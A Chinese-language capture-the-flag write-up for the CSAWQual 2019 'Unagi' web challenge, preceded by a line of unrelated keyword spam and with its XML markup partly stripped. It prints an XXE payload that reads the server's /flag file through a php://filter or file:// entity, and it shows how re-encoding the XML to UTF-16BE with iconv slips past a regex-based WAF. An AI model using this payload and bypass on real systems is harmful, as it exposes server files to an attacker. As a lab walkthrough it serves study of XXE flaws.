红色系列的网站,用J2ee怎么做视频网站,常见的办公网网站开发,网站防止镜像[CSAWQual 2019]Web_Unagi 1 解题流程1.1 分析1.2 解题 2 思考总结 1 解题流程
这篇博客讲了xml进行编码转换绕过的原理#xff1a;https://www.shawroot.cc/156.html
1.1 分析
页面可以上传#xff0c;上传一句话php失败#xff0c;点击示例发现是xml格式#xff0c;那… [CSAWQual 2019]Web_Unagi 1 解题流程1.1 分析1.2 解题 2 思考总结 1 解题流程
这篇博客讲了xml进行编码转换绕过的原理https://www.shawroot.cc/156.html
1.1 分析
页面可以上传上传一句话php失败点击示例发现是xml格式那么就是XXE注入了 点击about得到flag位置 Flag is located at /flag, come get it
1.2 解题
编写XXE注入文件以xml结尾?xml version1.0?
!DOCTYPE users [
!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/flag ]
或
!ENTITY xxe SYSTEM file:///flag ]
usersuserusernamebob/usernamepasswordpasswd2/passwordnameBob/nameemailbobfakesite.com/email groupCSAW2019/groupintroxxe;/intro/user
/users尝试上传发现还是被拦截了这时候可以查询如何绕过WAF xml文档不仅可以用UTF-8编码也可以用UTF-16、UTF-32和EBCDIC编码。 在这些编码的帮助下使用正则表达式可以很容易地绕过WAF因为在这种类型的WAF中正则表达式通常仅配置为单字符集。 在linux中使用命令将xml转换为16进制 cat 1.xml | iconv -f UTF-8 -t UTF-16BE x16.xml上传即可获取flag flag{5325a120-326c-4829-8778-22c54362a7b4}
2 思考总结
编写xml注意点 1、属性名大小写要区分 2、flag很长放在其他属性中只能输出部分而intro意为introduce个人简介可以输出长内容